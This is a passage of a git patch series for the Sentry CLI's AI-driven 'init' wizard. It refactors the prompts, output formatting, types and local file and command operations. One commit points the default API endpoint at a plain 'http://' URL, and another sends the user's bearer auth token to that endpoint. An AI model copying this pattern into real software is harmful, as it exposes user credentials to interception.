handleLocalOp } from "./local-ops.js"; +import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; +import { handleLocalOp } from "./local-ops.js"; import type { - WizardOptions, - LocalOpPayload, InteractivePayload, + LocalOpPayload, + WizardOptions, + WorkflowRunResult, } from "./types.js"; +type StepSpinner = ReturnType; + +type StepContext = { + payload: unknown; + stepId: string; + s: StepSpinner; + options: WizardOptions; +}; + +function nextPhase( + stepPhases: Map, + stepId: string, + names: string[] +): string { + const phase = (stepPhases.get(stepId) ?? 0) + 1; + stepPhases.set(stepId, phase); + return names[Math.min(phase - 1, names.length - 1)] ?? "done"; +} + +async function handleSuspendedStep( + ctx: StepContext, + stepPhases: Map +): Promise> { + const { payload, stepId, s, options } = ctx; + const { type: payloadType, operation } = payload as { + type: string; + operation?: string; + }; + const label = STEP_LABELS[stepId] ?? stepId; + + if (payloadType === "local-op") { + const detail = operation ? ` (${operation})` : ""; + s.message(`${label}${detail}...`); + + const localResult = await handleLocalOp(payload as LocalOpPayload, options); + + return { + ...localResult, + _phase: nextPhase(stepPhases, stepId, ["read-files", "analyze", "done"]), + }; + } + + if (payloadType === "interactive") { + s.stop(label); + + const interactiveResult = await handleInteractive( + payload as InteractivePayload, + options + ); + + s.start("Processing..."); + + return { + ...interactiveResult, + _phase: nextPhase(stepPhases, stepId, ["apply"]), + }; + } + + s.stop("Error", 1); + log.error(`Unknown suspend payload type "${payloadType}"`); + cancel("Setup failed"); + throw new WizardCancelledError(); +} + +function errorMessage(err: unknown): string { + return err instanceof Error ? err.message : String(err); +} + export async function runWizard(options: WizardOptions): Promise { - const { directory, force, yes, dryRun, features, stdout, stderr } = options; + const { directory, force, yes, dryRun, features } = options; + + process.stderr.write(`\n${formatBanner()}\n\n`); + intro("sentry init"); + + if (dryRun) { + log.warn("Dry-run mode: no files will be modified."); + } const tracingOptions = { traceId: randomBytes(16).toString("hex"), @@ -38,94 +117,87 @@ export async function runWizard(options: WizardOptions): Promise { const workflow = client.getWorkflow(WORKFLOW_ID); const run = await workflow.createRun(); - let result = await run.startAsync({ - inputData: { directory, force, yes, dryRun, features }, - tracingOptions, - }); + const s = spinner(); - // Track multi-suspend phases per step - const stepPhases = new Map(); - - while ((result as any).status === "suspended") { - // Extract step ID and suspend payload - const stepPath = - (result as any).suspended?.[0] ?? - (result as any).activePaths?.[0] ?? - []; - const stepId: string = stepPath[stepPath.length - 1] ?? "unknown"; - - const payload = extractSuspendPayload(result as Record, stepId); - if (!payload) { - stderr.write(`Error: No suspend payload found for step "${stepId}"\n`); - break; - } - - formatProgress(stdout, stepId, payload); + let result: WorkflowRunResult; + try { + s.start("Connecting to wizard..."); + result = (await run.startAsync({ + inputData: { directory, force, yes, dryRun, features }, + tracingOptions, + })) as WorkflowRunResult; + } catch (err) { + s.stop("Connection failed", 1); + log.error(errorMessage(err)); + cancel("Setup failed"); + return; + } - let resumeData: Record; - const payloadType = (payload as any).type as string; + const stepPhases = new Map(); - if (payloadType === "local-op") { - const localResult = await handleLocalOp( - payload as LocalOpPayload, - options, + try { + while (result.status === "suspended") { + const stepPath = result.suspended?.at(0) ?? []; + const stepId: string = stepPath.at(-1) ?? "unknown"; + + const payload = extractSuspendPayload(result, stepId); + if (!payload) { + s.stop("Error", 1); + log.error(`No suspend payload found for step "${stepId}"`); + cancel("Setup failed"); + return; + } + + const resumeData = await handleSuspendedStep( + { payload, stepId, s, options }, + stepPhases ); - // Track phase progression for multi-suspend steps - const phase = (stepPhases.get(stepId) ?? 0) + 1; - stepPhases.set(stepId, phase); - const phaseNames = ["read-files", "analyze", "done"]; - resumeData = { - ...localResult, - _phase: phaseNames[Math.min(phase - 1, phaseNames.length - 1)], - }; - } else if (payloadType === "interactive") { - const interactiveResult = await handleInteractive( - payload as InteractivePayload, - options, - ); - const phase = (stepPhases.get(stepId) ?? 0) + 1; - stepPhases.set(stepId, phase); - resumeData = { - ...interactiveResult, - _phase: "apply", - }; - } else { - stderr.write(`Error: Unknown suspend payload type "${payloadType}"\n`); - break; + result = (await run.resumeAsync({ + step: stepId, + resumeData, + tracingOptions, + })) as WorkflowRunResult; } - - result = await run.resumeAsync({ - step: stepId, - resumeData, - tracingOptions, - }); + } catch (err) { + if (err instanceof WizardCancelledError) { + return; + } + s.stop("Cancelled", 1); + log.error(errorMessage(err)); + cancel("Setup failed"); + return; } - const resultObj = result as Record; - if (resultObj.status === "success") { - formatResult(stdout, resultObj); + s.stop("Done"); + + const output = result as unknown as Record; + if (result.status === "success") { + formatResult(output); } else { - formatError(stderr, resultObj); + formatError(output); } } function extractSuspendPayload( - result: Record, - stepId: string, + result: WorkflowRunResult, + stepId: string ): unknown | undefined { - // Try step-specific payload first const stepPayload = result.steps?.[stepId]?.suspendPayload; - if (stepPayload) return stepPayload; + if (stepPayload) { + return stepPayload; + } - // Try top-level suspend payload - if (result.suspendPayload) return result.suspendPayload; + if (result.suspendPayload) { + return result.suspendPayload; + } - // Try nested in activePaths data for (const key of Object.keys(result.steps ?? {})) { - const step = result.steps[key]; - if (step?.suspendPayload) return step.suspendPayload; + const step = result.steps?.[key]; + if (step?.suspendPayload) { + return step.suspendPayload; + } } - return undefined; + return; } From 11cdf6c1b8070118ef1955f7eedac5f9132bd645 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 18 Feb 2026 18:47:32 +0100 Subject: [PATCH 07/72] fix(init): improve wizard UX for already-installed case, feature prompt, and source maps hint Route success-with-exitCode results to formatError so the --force hint is shown when Sentry is already installed. Fold the "Error Monitoring is always included" note into the multiselect prompt. Use a more approachable Source Maps hint. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/clack-utils.ts | 74 +++++++++++++++++++++++++++++++++++ src/lib/init/interactive.ts | 24 ++++++++---- src/lib/init/wizard-runner.ts | 23 +++++++++-- 3 files changed, 109 insertions(+), 12 deletions(-) create mode 100644 src/lib/init/clack-utils.ts diff --git a/src/lib/init/clack-utils.ts b/src/lib/init/clack-utils.ts new file mode 100644 index 00000000..a99e3869 --- /dev/null +++ b/src/lib/init/clack-utils.ts @@ -0,0 +1,74 @@ +/** + * Clack Utilities + * + * Shared helpers for the clack-based init wizard UI. + */ + +import { cancel, isCancel } from "@clack/prompts"; + +export class WizardCancelledError extends Error { + constructor() { + super("Setup cancelled."); + this.name = "WizardCancelledError"; + } +} + +export function abortIfCancelled(value: T | symbol): T { + if (isCancel(value)) { + cancel( + "Setup cancelled. Visit https://docs.sentry.io/platforms/ to set up manually." + ); + throw new WizardCancelledError(); + } + return value as T; +} + +export const FEATURE_INFO: Record = { + errorMonitoring: { + label: "Error Monitoring", + hint: "Automatic error and crash reporting", + }, + performanceMonitoring: { + label: "Performance Monitoring", + hint: "Transaction and span tracing", + }, + sessionReplay: { + label: "Session Replay", + hint: "Visual replay of user sessions", + }, + profiling: { + label: "Profiling", + hint: "Code-level performance insights", + }, + logs: { label: "Logging", hint: "Structured log ingestion" }, + metrics: { label: "Custom Metrics", hint: "Track custom business metrics" }, + sourceMaps: { + label: "Source Maps", + hint: "See original source code in production errors", + }, +}; + +export function featureLabel(id: string): string { + return FEATURE_INFO[id]?.label ?? id; +} + +export function featureHint(id: string): string | undefined { + return FEATURE_INFO[id]?.hint; +} + +export const STEP_LABELS: Record = { + "discover-context": "Analyzing project structure", + "select-target-app": "Selecting target application", + "resolve-dir": "Resolving project directory", + "check-existing-sentry": "Checking for existing Sentry installation", + "detect-platform": "Detecting platform and framework", + "ensure-sentry-project": "Setting up Sentry project", + "select-features": "Selecting features", + "determine-pm": "Detecting package manager", + "install-deps": "Installing dependencies", + "plan-codemods": "Planning code modifications", + "apply-codemods": "Applying code modifications", + "verify-changes": "Verifying changes", + "add-example-trigger": "Example error trigger", + "open-sentry-ui": "Finishing up", +}; diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index 7c90efa7..6662e176 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -7,7 +7,8 @@ */ import { confirm, log, multiselect, select } from "@clack/prompts"; -import { abortIfCancelled } from "./clack-utils.js"; +import chalk from "chalk"; +import { abortIfCancelled, featureHint, featureLabel } from "./clack-utils.js"; import type { InteractivePayload, WizardOptions } from "./types.js"; export async function handleInteractive( @@ -83,25 +84,32 @@ async function handleMultiSelect( return { features: [] }; } - const requiredFeature = "errors"; + const requiredFeature = "errorMonitoring"; const hasRequired = available.includes(requiredFeature); if (options.yes) { - log.info(`Auto-selected all features: ${available.join(", ")}`); + log.info( + `Auto-selected all features: ${available.map(featureLabel).join(", ")}` + ); return { features: available }; } + const optional = available.filter((f) => f !== requiredFeature); + + const hints: string[] = []; if (hasRequired) { - log.info("Error monitoring is always enabled."); + hints.push( + chalk.dim(` ${featureLabel(requiredFeature)} is always included`) + ); } - - const optional = available.filter((f) => f !== requiredFeature); + hints.push(chalk.dim(" space=toggle, a=all, enter=confirm")); const selected = await multiselect({ - message: payload.prompt, + message: `${payload.prompt}\n${hints.join("\n")}`, options: optional.map((feature) => ({ value: feature, - label: feature, + label: featureLabel(feature), + hint: featureHint(feature), })), initialValues: optional, required: false, diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index af171144..2a12ca76 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -94,6 +94,14 @@ function errorMessage(err: unknown): string { export async function runWizard(options: WizardOptions): Promise { const { directory, force, yes, dryRun, features } = options; + if (!(yes || process.stdin.isTTY)) { + process.stderr.write( + "Error: Interactive mode requires a terminal. Use --yes for non-interactive mode.\n" + ); + process.exitCode = 1; + return; + } + process.stderr.write(`\n${formatBanner()}\n\n`); intro("sentry init"); @@ -169,13 +177,20 @@ export async function runWizard(options: WizardOptions): Promise { return; } - s.stop("Done"); + handleFinalResult(result, s); +} +function handleFinalResult(result: WorkflowRunResult, s: StepSpinner): void { const output = result as unknown as Record; - if (result.status === "success") { - formatResult(output); - } else { + const inner = (output.result as Record) ?? output; + const hasError = result.status !== "success" || inner.exitCode; + + if (hasError) { + s.stop("Failed", 1); formatError(output); + } else { + s.stop("Done"); + formatResult(output); } } From 049fc95dd687f1e11547b0f7859c21ec20e88c6b Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 18 Feb 2026 19:47:37 +0100 Subject: [PATCH 08/72] feat(init): add AI transparency note and review reminder to wizard Show a non-blocking info note about AI usage with a docs link before the first network call, and a review reminder before the success outro. Extract SENTRY_DOCS_URL constant to share between wizard-runner and clack-utils cancel message. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/clack-utils.ts | 5 +- src/lib/init/constants.ts | 8 +- src/lib/init/formatters.ts | 149 ++++++++++++++++------------------ src/lib/init/wizard-runner.ts | 7 +- 4 files changed, 84 insertions(+), 85 deletions(-) diff --git a/src/lib/init/clack-utils.ts b/src/lib/init/clack-utils.ts index a99e3869..ea4eeb0e 100644 --- a/src/lib/init/clack-utils.ts +++ b/src/lib/init/clack-utils.ts @@ -5,6 +5,7 @@ */ import { cancel, isCancel } from "@clack/prompts"; +import { SENTRY_DOCS_URL } from "./constants.js"; export class WizardCancelledError extends Error { constructor() { @@ -15,9 +16,7 @@ export class WizardCancelledError extends Error { export function abortIfCancelled(value: T | symbol): T { if (isCancel(value)) { - cancel( - "Setup cancelled. Visit https://docs.sentry.io/platforms/ to set up manually." - ); + cancel(`Setup cancelled. Visit ${SENTRY_DOCS_URL} to set up manually.`); throw new WizardCancelledError(); } return value as T; diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index 842a9416..effb5101 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -3,6 +3,8 @@ export const MASTRA_API_URL = export const WORKFLOW_ID = "sentry-wizard"; -export const MAX_FILE_BYTES = 262144; // 256KB per file -export const MAX_STDOUT_BYTES = 65536; // 64KB stdout/stderr truncation -export const DEFAULT_COMMAND_TIMEOUT_MS = 120000; // 2 minutes +export const SENTRY_DOCS_URL = "https://docs.sentry.io/platforms/"; + +export const MAX_FILE_BYTES = 262_144; // 256KB per file +export const MAX_STDOUT_BYTES = 65_536; // 64KB stdout/stderr truncation +export const DEFAULT_COMMAND_TIMEOUT_MS = 120_000; // 2 minutes diff --git a/src/lib/init/formatters.ts b/src/lib/init/formatters.ts index fa004c99..46062c71 100644 --- a/src/lib/init/formatters.ts +++ b/src/lib/init/formatters.ts @@ -1,120 +1,113 @@ /** * Output Formatters * - * Format wizard progress, results, and errors for terminal display. + * Format wizard results and errors for terminal display using clack. */ -import type { Writer } from "../../types/index.js"; - -const STEP_LABELS: Record = { - "discover-context": "Analyzing project structure", - "select-target-app": "Selecting target application", - "resolve-dir": "Resolving project directory", - "check-existing-sentry": "Checking for existing Sentry installation", - "detect-platform": "Detecting platform and framework", - "ensure-sentry-project": "Setting up Sentry project", - "select-features": "Selecting features", - "determine-pm": "Detecting package manager", - "install-deps": "Installing dependencies", - "plan-codemods": "Planning code modifications", - "apply-codemods": "Applying code modifications", - "verify-changes": "Verifying changes", - "add-example-trigger": "Example error trigger", - "open-sentry-ui": "Finishing up", -}; - -export function formatProgress( - stdout: Writer, - stepId: string, - payload?: unknown, -): void { - const label = STEP_LABELS[stepId] ?? stepId; - const payloadType = (payload as any)?.type as string | undefined; - const operation = (payload as any)?.operation as string | undefined; - - let detail = ""; - if (payloadType === "local-op" && operation) { - detail = ` (${operation})`; - } +import { cancel, log, note, outro } from "@clack/prompts"; +import { featureLabel } from "./clack-utils.js"; - stdout.write(`> ${label}${detail}...\n`); -} +type WizardOutput = Record; -export function formatResult( - stdout: Writer, - result: Record, -): void { - const output = result.result ?? result; +function fileActionIcon(action: string): string { + if (action === "create") { + return "+"; + } + if (action === "delete") { + return "-"; + } + return "~"; +} - stdout.write("\nSentry SDK installed successfully!\n\n"); +function buildSummaryLines(output: WizardOutput): string[] { + const lines: string[] = []; if (output.platform) { - stdout.write(` Platform: ${output.platform}\n`); + lines.push(`Platform: ${output.platform}`); } if (output.projectDir) { - stdout.write(` Directory: ${output.projectDir}\n`); + lines.push(`Directory: ${output.projectDir}`); } - if (output.features?.length) { - stdout.write(` Features: ${output.features.join(", ")}\n`); + + const features = output.features as string[] | undefined; + if (features?.length) { + lines.push(`Features: ${features.map(featureLabel).join(", ")}`); } - if (output.commands?.length) { - stdout.write(` Commands: ${output.commands.join("; ")}\n`); + + const commands = output.commands as string[] | undefined; + if (commands?.length) { + lines.push(`Commands: ${commands.join("; ")}`); } if (output.sentryProjectUrl) { - stdout.write(` Project: ${output.sentryProjectUrl}\n`); + lines.push(`Project: ${output.sentryProjectUrl}`); } if (output.docsUrl) { - stdout.write(` Docs: ${output.docsUrl}\n`); + lines.push(`Docs: ${output.docsUrl}`); } - if (output.changedFiles?.length) { - stdout.write("\n Changed files:\n"); - for (const f of output.changedFiles) { - const icon = f.action === "create" ? "+" : f.action === "delete" ? "-" : "~"; - stdout.write(` ${icon} ${f.path}\n`); + const changedFiles = output.changedFiles as + | Array<{ action: string; path: string }> + | undefined; + if (changedFiles?.length) { + lines.push(""); + lines.push("Changed files:"); + for (const f of changedFiles) { + lines.push(` ${fileActionIcon(f.action)} ${f.path}`); } } - if (output.warnings?.length) { - stdout.write("\n Warnings:\n"); - for (const w of output.warnings) { - stdout.write(` ! ${w}\n`); + return lines; +} + +export function formatResult(result: WizardOutput): void { + const output = (result.result as WizardOutput) ?? result; + const lines = buildSummaryLines(output); + + if (lines.length > 0) { + note(lines.join("\n"), "Setup complete"); + } + + const warnings = output.warnings as string[] | undefined; + if (warnings?.length) { + for (const w of warnings) { + log.warn(w); } } - stdout.write("\n"); + log.info("Please review the changes above before committing."); + + outro("Sentry SDK installed successfully!"); } -export function formatError( - stderr: Writer, - result: Record, -): void { +export function formatError(result: WizardOutput): void { + const inner = result.result as WizardOutput | undefined; const message = - result.error ?? result.result?.message ?? "Wizard failed with an unknown error"; - const exitCode = result.result?.exitCode ?? 1; + result.error ?? inner?.message ?? "Wizard failed with an unknown error"; + const exitCode = (inner?.exitCode as number) ?? 1; - stderr.write(`\nError: ${message}\n`); + log.error(String(message)); - // Provide actionable suggestions based on exit code if (exitCode === 10) { - stderr.write(" Hint: Use --force to override existing Sentry installation.\n"); + log.warn("Hint: Use --force to override existing Sentry installation."); } else if (exitCode === 20) { - stderr.write(" Hint: Could not detect your project's platform. Check that the directory contains a valid project.\n"); + log.warn( + "Hint: Could not detect your project's platform. Check that the directory contains a valid project." + ); } else if (exitCode === 30) { - const commands = result.result?.commands as string[] | undefined; + const commands = inner?.commands as string[] | undefined; if (commands?.length) { - stderr.write(" You can install dependencies manually:\n"); - for (const cmd of commands) { - stderr.write(` $ ${cmd}\n`); - } + log.warn( + `You can install dependencies manually:\n${commands.map((cmd) => ` $ ${cmd}`).join("\n")}` + ); } } else if (exitCode === 50) { - stderr.write(" Hint: Fix the verification issues and run 'sentry init' again.\n"); + log.warn("Hint: Fix the verification issues and run 'sentry init' again."); } - if (result.result?.docsUrl) { - stderr.write(` Docs: ${result.result.docsUrl}\n`); + const docsUrl = inner?.docsUrl; + if (docsUrl) { + log.info(`Docs: ${docsUrl}`); } - stderr.write("\n"); + cancel("Setup failed"); } diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 2a12ca76..b24988b8 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -12,7 +12,7 @@ import { MastraClient } from "@mastra/client-js"; import { CLI_VERSION } from "../constants.js"; import { formatBanner } from "../help.js"; import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; -import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; +import { MASTRA_API_URL, SENTRY_DOCS_URL, WORKFLOW_ID } from "./constants.js"; import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; import { handleLocalOp } from "./local-ops.js"; @@ -109,6 +109,11 @@ export async function runWizard(options: WizardOptions): Promise { log.warn("Dry-run mode: no files will be modified."); } + log.info( + "This wizard uses AI to analyze your project and configure Sentry." + + `\nFor manual setup: ${SENTRY_DOCS_URL}` + ); + const tracingOptions = { traceId: randomBytes(16).toString("hex"), tags: ["sentry-cli", "init-wizard"], From 1e76a55314bdb17417ffc3c88137fa7c6f181d53 Mon Sep 17 00:00:00 2001 From: Aditya Mathur <57684218+MathurAditya724@users.noreply.github.com> Date: Thu, 19 Feb 2026 17:16:04 +0530 Subject: [PATCH 09/72] fix: added auth headers in the mastra client (#264) Co-authored-by: github-actions[bot] --- plugins/sentry-cli/skills/sentry-cli/SKILL.md | 14 ++++ src/commands/init.ts | 4 +- src/lib/init/local-ops.ts | 77 +++++++++++++------ src/lib/init/types.ts | 36 ++++----- src/lib/init/wizard-runner.ts | 7 +- 5 files changed, 91 insertions(+), 47 deletions(-) diff --git a/plugins/sentry-cli/skills/sentry-cli/SKILL.md b/plugins/sentry-cli/skills/sentry-cli/SKILL.md index a2ba5469..e614abf9 100644 --- a/plugins/sentry-cli/skills/sentry-cli/SKILL.md +++ b/plugins/sentry-cli/skills/sentry-cli/SKILL.md @@ -571,6 +571,20 @@ View details of a specific trace - `-w, --web - Open in browser` - `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` +### Init + +Initialize Sentry in your project + +#### `sentry init ` + +Initialize Sentry in your project + +**Flags:** +- `--force - Continue even if Sentry is already installed` +- `-y, --yes - Non-interactive mode (accept defaults)` +- `--dry-run - Preview changes without applying them` +- `--features - Comma-separated features: errors,tracing,logs,replay,metrics` + ### Issues List issues in a project diff --git a/src/commands/init.ts b/src/commands/init.ts index 022b2b87..3aacfb62 100644 --- a/src/commands/init.ts +++ b/src/commands/init.ts @@ -67,9 +67,7 @@ export const initCommand = buildCommand({ }, }, async func(this: SentryContext, flags: InitFlags, directory?: string) { - const targetDir = directory - ? path.resolve(this.cwd, directory) - : this.cwd; + const targetDir = directory ? path.resolve(this.cwd, directory) : this.cwd; const featuresList = flags.features ?.split(",") .map((f) => f.trim()) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 16314053..84fef095 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -5,23 +5,23 @@ * All operations are sandboxed to the workflow's cwd directory. */ +import { spawn } from "node:child_process"; import fs from "node:fs"; import path from "node:path"; -import { spawn } from "node:child_process"; import { + DEFAULT_COMMAND_TIMEOUT_MS, MAX_FILE_BYTES, MAX_STDOUT_BYTES, - DEFAULT_COMMAND_TIMEOUT_MS, } from "./constants.js"; import type { - WizardOptions, + ApplyPatchsetPayload, + FileExistsBatchPayload, + ListDirPayload, LocalOpPayload, LocalOpResult, - ListDirPayload, ReadFilesPayload, - FileExistsBatchPayload, RunCommandsPayload, - ApplyPatchsetPayload, + WizardOptions, } from "./types.js"; /** @@ -31,7 +31,10 @@ import type { function safePath(cwd: string, relative: string): string { const resolved = path.resolve(cwd, relative); const normalizedCwd = path.resolve(cwd); - if (!resolved.startsWith(normalizedCwd + path.sep) && resolved !== normalizedCwd) { + if ( + !resolved.startsWith(normalizedCwd + path.sep) && + resolved !== normalizedCwd + ) { throw new Error(`Path "${relative}" resolves outside project directory`); } return resolved; @@ -39,7 +42,7 @@ function safePath(cwd: string, relative: string): string { export async function handleLocalOp( payload: LocalOpPayload, - _options: WizardOptions, + _options: WizardOptions ): Promise { try { switch (payload.operation) { @@ -54,7 +57,13 @@ export async function handleLocalOp( case "apply-patchset": return await applyPatchset(payload); default: - return { ok: false, error: `Unknown operation: ${(payload as any).operation}` }; + return { + ok: false, + error: `Unknown operation: ${ + // biome-ignore lint/suspicious/noExplicitAny: payload is of type LocalOpPayload + (payload as any).operation + }`, + }; } } catch (error) { return { @@ -64,18 +73,24 @@ export async function handleLocalOp( } } -async function listDir(payload: ListDirPayload): Promise { +function listDir(payload: ListDirPayload): LocalOpResult { const { cwd, params } = payload; const targetPath = safePath(cwd, params.path); const maxDepth = params.maxDepth ?? 3; const maxEntries = params.maxEntries ?? 500; const recursive = params.recursive ?? false; - const entries: Array<{ name: string; path: string; type: "file" | "directory" }> = []; + const entries: Array<{ + name: string; + path: string; + type: "file" | "directory"; + }> = []; + // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: walking the directory tree is a complex operation function walk(dir: string, depth: number): void { - if (entries.length >= maxEntries) return; - if (depth > maxDepth) return; + if (entries.length >= maxEntries || depth > maxDepth) { + return; + } let dirEntries: fs.Dirent[]; try { @@ -85,13 +100,20 @@ async function listDir(payload: ListDirPayload): Promise { } for (const entry of dirEntries) { - if (entries.length >= maxEntries) return; + if (entries.length >= maxEntries) { + return; + } const relPath = path.relative(cwd, path.join(dir, entry.name)); const type = entry.isDirectory() ? "directory" : "file"; entries.push({ name: entry.name, path: relPath, type }); - if (recursive && entry.isDirectory() && !entry.name.startsWith(".") && entry.name !== "node_modules") { + if ( + recursive && + entry.isDirectory() && + !entry.name.startsWith(".") && + entry.name !== "node_modules" + ) { walk(path.join(dir, entry.name), depth + 1); } } @@ -101,7 +123,7 @@ async function listDir(payload: ListDirPayload): Promise { return { ok: true, data: { entries } }; } -async function readFiles(payload: ReadFilesPayload): Promise { +function readFiles(payload: ReadFilesPayload): LocalOpResult { const { cwd, params } = payload; const maxBytes = params.maxBytes ?? MAX_FILE_BYTES; const files: Record = {}; @@ -128,9 +150,7 @@ async function readFiles(payload: ReadFilesPayload): Promise { return { ok: true, data: { files } }; } -async function fileExistsBatch( - payload: FileExistsBatchPayload, -): Promise { +function fileExistsBatch(payload: FileExistsBatchPayload): LocalOpResult { const { cwd, params } = payload; const exists: Record = {}; @@ -146,7 +166,9 @@ async function fileExistsBatch( return { ok: true, data: { exists } }; } -async function runCommands(payload: RunCommandsPayload): Promise { +async function runCommands( + payload: RunCommandsPayload +): Promise { const { cwd, params } = payload; const timeoutMs = params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; @@ -175,8 +197,13 @@ async function runCommands(payload: RunCommandsPayload): Promise function runSingleCommand( command: string, cwd: string, - timeoutMs: number, -): Promise<{ command: string; exitCode: number; stdout: string; stderr: string }> { + timeoutMs: number +): Promise<{ + command: string; + exitCode: number; + stdout: string; + stderr: string; +}> { return new Promise((resolve) => { const child = spawn("sh", ["-c", command], { cwd, @@ -224,9 +251,7 @@ function runSingleCommand( }); } -async function applyPatchset( - payload: ApplyPatchsetPayload, -): Promise { +function applyPatchset(payload: ApplyPatchsetPayload): LocalOpResult { const { cwd, params } = payload; const applied: Array<{ path: string; action: string }> = []; @@ -260,6 +285,8 @@ async function applyPatchset( applied.push({ path: patch.path, action: "delete" }); break; } + default: + break; } } diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index 5c52f30e..9add1df9 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -1,6 +1,6 @@ import type { Writer } from "../../types/index.js"; -export interface WizardOptions { +export type WizardOptions = { directory: string; force: boolean; yes: boolean; @@ -9,7 +9,7 @@ export interface WizardOptions { stdout: Writer; stderr: Writer; stdin: NodeJS.ReadStream & { fd: 0 }; -} +}; // ── Local-op suspend payloads ────────────────────────────── @@ -20,7 +20,7 @@ export type LocalOpPayload = | RunCommandsPayload | ApplyPatchsetPayload; -export interface ListDirPayload { +export type ListDirPayload = { type: "local-op"; operation: "list-dir"; cwd: string; @@ -30,9 +30,9 @@ export interface ListDirPayload { maxDepth?: number; maxEntries?: number; }; -} +}; -export interface ReadFilesPayload { +export type ReadFilesPayload = { type: "local-op"; operation: "read-files"; cwd: string; @@ -40,18 +40,18 @@ export interface ReadFilesPayload { paths: string[]; maxBytes?: number; }; -} +}; -export interface FileExistsBatchPayload { +export type FileExistsBatchPayload = { type: "local-op"; operation: "file-exists-batch"; cwd: string; params: { paths: string[]; }; -} +}; -export interface RunCommandsPayload { +export type RunCommandsPayload = { type: "local-op"; operation: "run-commands"; cwd: string; @@ -59,9 +59,9 @@ export interface RunCommandsPayload { commands: string[]; timeoutMs?: number; }; -} +}; -export interface ApplyPatchsetPayload { +export type ApplyPatchsetPayload = { type: "local-op"; operation: "apply-patchset"; cwd: string; @@ -72,30 +72,30 @@ export interface ApplyPatchsetPayload { patch: string; }>; }; -} +}; -export interface LocalOpResult { +export type LocalOpResult = { ok: boolean; error?: string; data?: unknown; -} +}; // ── Interactive suspend payloads ─────────────────────────── -export interface InteractivePayload { +export type InteractivePayload = { type: "interactive"; prompt: string; kind: "select" | "multi-select" | "confirm"; [key: string]: unknown; -} +}; // ── Workflow run result ──────────────────────────────────── -export interface WorkflowRunResult { +export type WorkflowRunResult = { status: "suspended" | "success" | "failed"; suspended?: string[][]; steps?: Record; suspendPayload?: unknown; result?: unknown; error?: string; -} +}; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index b24988b8..17f5a7f2 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -10,6 +10,7 @@ import { randomBytes } from "node:crypto"; import { cancel, intro, log, spinner } from "@clack/prompts"; import { MastraClient } from "@mastra/client-js"; import { CLI_VERSION } from "../constants.js"; +import { getAuthToken } from "../db/auth.js"; import { formatBanner } from "../help.js"; import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; import { MASTRA_API_URL, SENTRY_DOCS_URL, WORKFLOW_ID } from "./constants.js"; @@ -126,7 +127,11 @@ export async function runWizard(options: WizardOptions): Promise { }, }; - const client = new MastraClient({ baseUrl: MASTRA_API_URL }); + const token = getAuthToken(); + const client = new MastraClient({ + baseUrl: MASTRA_API_URL, + headers: token ? { Authorization: `Bearer ${token}` } : {}, + }); const workflow = client.getWorkflow(WORKFLOW_ID); const run = await workflow.createRun(); From 077119af0abe351b29e6f6339e48ea0029140314 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 17:25:24 +0100 Subject: [PATCH 10/72] fix(init): update MASTRA_API_URL to production worker endpoint Co-Authored-By: Claude Opus 4.6 --- src/lib/init/constants.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index effb5101..385ac180 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -1,5 +1,6 @@ export const MASTRA_API_URL = - process.env.SENTRY_WIZARD_API_URL ?? "http://localhost:4111"; + process.env.SENTRY_WIZARD_API_URL ?? + "http://sentry-init-agent.getsentry.workers.dev"; export const WORKFLOW_ID = "sentry-wizard"; From 350530f77ac42506e332094aeabf0eab1e5a8b46 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 17:25:30 +0100 Subject: [PATCH 11/72] feat(init): add eval test dependencies and biome config Add @anthropic-ai/sdk and openai as devDependencies for the LLM-as-judge eval framework. Add opencode-lore dependency. Exclude test/init-eval/templates from biome linting since they are fixture apps, not source code. Co-Authored-By: Claude Opus 4.6 --- biome.jsonc | 2 +- bun.lock | 60 +++++++++++++++++++++++++++++++++++++++++++--------- package.json | 6 ++++++ 3 files changed, 57 insertions(+), 11 deletions(-) diff --git a/biome.jsonc b/biome.jsonc index a010d302..292b4d49 100644 --- a/biome.jsonc +++ b/biome.jsonc @@ -2,7 +2,7 @@ "$schema": "./node_modules/@biomejs/biome/configuration_schema.json", "extends": ["ultracite/core"], "files": { - "includes": ["!docs"] + "includes": ["!docs", "!test/init-eval/templates"] }, "javascript": { "globals": ["Bun"] diff --git a/bun.lock b/bun.lock index 323ae911..b0ee83e6 100644 --- a/bun.lock +++ b/bun.lock @@ -4,6 +4,7 @@ "workspaces": { "": { "devDependencies": { + "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", @@ 